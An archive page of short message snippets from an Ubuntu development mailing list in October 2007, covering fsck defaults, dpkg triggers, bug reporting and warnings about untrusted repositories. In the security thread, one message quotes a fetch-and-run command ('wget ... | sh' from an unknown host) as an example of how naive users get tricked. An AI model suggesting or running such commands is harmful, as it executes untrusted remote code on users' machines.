Re: *blocking* bugs in development versions (e.g. Gutsy).

2007-10-01 Thread Scott (angrykeyboarder)
Scott (angrykeyboarder) wrote: > Dean Sas wrote: >> Scott (angrykeyboarder) wrote: >>> How does one convey the message that a bug is severe? >> Including a bug number in your mail would get more eyes looking at it. >> >> Thanks, >> >> Dean > > oops. :) > > > > https://bugs.launchpad.net/ubuntu/

Re: Untrusted software and security click-through warnings

2007-10-01 Thread Matthew Paul Thomas
On Oct 2, 2007, at 11:51 AM, João Pinto wrote: ... If PPAs availability increases there will be nasty people providing nasty packages, if you are concerned about naive users, then my first suggestion is to present an initial screen during Ubuntu install with: "If you add extra repositories or i

Re: *blocking* bugs in development versions (e.g. Gutsy).

2007-10-01 Thread Scott (angrykeyboarder)
Dean Sas wrote: > Scott (angrykeyboarder) wrote: >> How does one convey the message that a bug is severe? > > Including a bug number in your mail would get more eyes looking at it. > > Thanks, > > Dean oops. :) https://bugs.launchpad.net/ubuntu/+source/hal/+bug/146741 ..which leads to... h

Re: Processing triggers .... ?

2007-10-01 Thread Jan Claeys
Op maandag 01-10-2007 om 22:15 uur [tijdzone +0200], schreef Thilo Six: > (Apart from that the font pkgs that run fc-cache also need triggers > imho.) +1000 votes for that :) Seriously, try upgrading or installing a decent number of font packages on a slow computer and you can twiddle your thum

Re: regular fsck runs are too disturbing - and current approach does not work very well in detecting defects!

2007-10-01 Thread Jan Claeys
Op maandag 01-10-2007 om 18:19 uur [tijdzone +0200], schreef Waldemar Kornewald: > Could an Ubuntu developer please explain what advantages > and disadvantages there might be with badblocks I'm not an Ubuntu developer, but if 'badblocks' looks for hardware defects, it's mostly useless on most hard

Re: Untrusted software and security click-through warnings

2007-10-01 Thread João Pinto
Ian, in my opinion there is a major flaw on your assumptions. If someone is looking for an application "X" and find a site with: "To get this application just open a terminal and type: Please type: wget -O - http://best.forubuntu.com | sh" . Trust me, a naive user will just do it, a power user whi

Re: *blocking* bugs in development versions (e.g. Gutsy).

2007-10-01 Thread Dean Sas
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Scott (angrykeyboarder) wrote: > How does one convey the message that a bug is severe? Including a bug number in your mail would get more eyes looking at it. Thanks, Dean -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFHAW+Ke

Re: Processing triggers .... ?

2007-10-01 Thread Thilo Six
Aurelien Naldi wrote the following on 01.10.2007 22:07 <<-snip->> > Some package installed a lib and require ldconfig to be run, thanks to > the trigger system ldconfig is now ran only once, when all packages have > been installed (same for the update of the initramfs). > This should make large u

Re: Processing triggers .... ?

2007-10-01 Thread Aurelien Naldi
Le lundi 01 octobre 2007 à 21:51 +0200, Thilo Six a écrit : > after upgrading du gutsy i now got these messages everytime when doing > aptitude things: > < > Processing triggers for libc6 ... > ldconfig deferred processing now taking place >

Processing triggers .... ?

2007-10-01 Thread Thilo Six
after upgrading du gutsy i now got these messages everytime when doing aptitude things: < Processing triggers for libc6 ... ldconfig deferred processing now taking place > Anyone knows about that? I have heard

Re: regular fsck runs are too disturbing

2007-10-01 Thread Thilo Six
Sitsofe Wheeler wrote the following on 01.10.2007 21:10 <<-snip->> > Here's a variation on your theme. There are three types of people in the > world: > Those who don't do backups. > Those who do backups. <<-snip->> you seem to miss the important point > > second ones never had a harddisc fai

Re: regular fsck runs are too disturbing

2007-10-01 Thread Sitsofe Wheeler
On Mon, 2007-10-01 at 20:13 +0200, Thilo Six wrote: > There are two parts of computer users. > The first one do backups, and second ones never had a harddisc > failure. Here's a variation on your theme. There are three types of people in the world: Those who don't do backups. Those who do backups.

Re: Tracker live search in Deskbar applet by default?

2007-10-01 Thread Emilio Pozuelo Monfort
Matthew Paul Thomas wrote: > On Sep 28, 2007, at 4:59 AM, Emilio Pozuelo Monfort wrote: >> ... >> I've been discussing with Sebastien Bacher whether it's a good idea to >> enable the Tracker Search Live plugin in the Deskbar applet by default, >> and we think it's a good idea to discuss it wider he

Re: regular fsck runs are too disturbing

2007-10-01 Thread Thilo Six
Waldemar Kornewald wrote the following on 01.10.2007 00:08 <<-snip->> > If you want fsck then you should be able to turn it on, but please > don't assume that anyone else wants to have fsck enabled, by default. > As many people have reported, it takes awfully long to boot with fsck > and that's i

Re: regular fsck runs are too disturbing - and current approach does not work very well in detecting defects!

2007-10-01 Thread Waldemar Kornewald
Hi, On 10/1/07, Vincenzo Ciancia <[EMAIL PROTECTED]> wrote: > I still am convinced that fsck is _not_ the right tool for the purpose. > Ext3 already has a journal that should (hopefully) avoid file system > corruption due power failures. What is the point in running fsck > periodically? If it's to

Re: regular fsck runs are too disturbing

2007-10-01 Thread François Ingelrest
On 10/1/07, Waldemar Kornewald <[EMAIL PROTECTED]> wrote: > On 10/1/07, Luke Yelavich <[EMAIL PROTECTED]> wrote: > > So what happens when users install a distro that either doesn't check their > > filesystem > > regularly, or attempts to check in background, which can't be completed due > > to sy

Re: regular fsck runs are too disturbing - and current approach does not work very well in detecting defects!

2007-10-01 Thread Anthony Yarusso
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 I haven't looked at how it actually works yet, but the idea of being able to check the filesystem and/or blocks read-only while the system is running and only warn on error sounds fairly appealing. I imagine the implementation could look something lik

Re: regular fsck runs are too disturbing - and current approach does not work very well in detecting defects!

2007-10-01 Thread Vincenzo Ciancia
On 01/10/2007 Waldemar Kornewald wrote: > Did you ever use WinXP and run chkdsk from the command line? It warns > you that it can't *correct* errors (a reboot is needed if errors are > found), but it can at least *detect* errors on a mounted and active > partition (even the boot partition, in case

Re: regular fsck runs are too disturbing

2007-10-01 Thread Waldemar Kornewald
On 10/1/07, Luke Yelavich <[EMAIL PROTECTED]> wrote: > So what happens when users install a distro that either doesn't check their > filesystem > regularly, or attempts to check in background, which can't be completed due > to system activity > etc, and they loose their data? I'd be thinking that

Re: regular fsck runs are too disturbing

2007-10-01 Thread Waldemar Kornewald
On 10/1/07, Markus Hitter <[EMAIL PROTECTED]> wrote: > > Am 01.10.2007 um 00:16 schrieb Anthony Yarusso: > > > How would it work in the background after your drives are mounted? Did you ever use WinXP and run chkdsk from the command line? It warns you that it can't *correct* errors (a reboot is ne

Re: recovery CD?

2007-10-01 Thread Chris Jones
I too have wanted to get a hold of such a disc since I've been using Ubuntu as I think it would be quite handy for many purposes. And in some cases, save a lot of time on recovering a system. Chris Jones > Message: 1 > Date: Sun, 30 Sep 2007 15:20:35 +0200 > From: "Mihamina (R12y) Rakotomandim

Re: regular fsck runs are too disturbing

2007-10-01 Thread Markus Hitter
Am 01.10.2007 um 00:16 schrieb Anthony Yarusso: > How would it work in the background after your drives are mounted? I'm not aware wether current fsck supports it, but nothing technical stops you to _check_ a drive while being mounted r/w. In the (hopefully rare) case you find some issue you